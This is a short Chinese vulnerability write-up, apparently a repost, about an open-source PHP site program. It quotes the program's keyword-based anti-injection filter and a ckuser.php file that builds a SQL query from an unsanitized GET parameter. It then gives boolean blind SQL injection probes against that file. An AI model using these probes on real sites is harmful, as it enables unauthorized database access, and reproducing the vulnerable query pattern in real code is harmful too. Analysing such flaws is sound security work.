由于程序是开源程序
并下载其程序看了一番。其实程序员还是有一点安全意识的:
防注入代码:
//要过滤的非法字符
$arrfiltrate = array (
"#union#i",
"#<script#i",
"#/script>#i",
"#select#i",
"#alert#i",
"#javascript#i",
"#<table#i",
"#<td#i",
"#\"#i",
"#\'#i",
"#delete#i",
"#vbscript#i",
"#applet#i",
"#frame#i",
"#<div#i",
"#update#i",
"#'#i",
"#union #i",
"#select #i",
"#delete #i",
"#update #i",
"#and #i",
"#;#i",
"#update#i"
);
$replacements='';
function funstringexist(&$array,$arrfiltrate,$replacements)
{
if (is_array($array))
{
foreach ($array as $key => $value)
{
if (is_array($value))
funstringexist($array[$key],$arrfiltrate,$replacements);
else
$array[$key] = preg_replace($arrfiltrate, $replacements, $value);
}
}
}
funstringexist($_get,$arrfiltrate,$replacements);
funstringexist($_post,$arrfiltrate,$replacements);
这段代码多少还是有瑕疵的、只过滤www.jb51.net get post 我们只要找调用request的地方
别一个文件并没有调用防注入程序,导致字符注入、但受gpc影响
header("content-type:text/html;charset=utf-8");
include "../comm/config.php";
$uname = trim($_get["name"]);
if($uname==''){
echo "true";
}else{
$con = @mysql_connect("$dbserver","$dbuser","$dbpass" )or die(err_db);
mysql_select_db("$dbname",$con)or die("can not choose the dbname!");
$query="select * from ".$biaotou."user where ddusername='".$uname."'";
mysql_query("set names utf8");
$res=mysql_query($query);
if(mysql_num_rows($res)!=0)
{echo "true";}
else
{echo "false";}
}
首先注册一个用户.让程序能过判断
ckuser.php?name=maxadd' and 1=1 and ''='
返回true
ckuser.php?name=maxadd' and 1=2 and ''='
返回false
如对本文有疑问,
点击进行留言回复!!
相关文章:
-
-
-
-
-
-
-
-
-
-
关于XSS漏洞另一个攻击趋势
XSS漏洞一般是基于WEB程序的输入输出问题,但最近80SEC开始发现了一系列以IE为内核的第三方浏览器的漏洞,在评估其中的XSS漏洞,我们发现了基于浏览器软件...
[阅读全文]
-
网友评论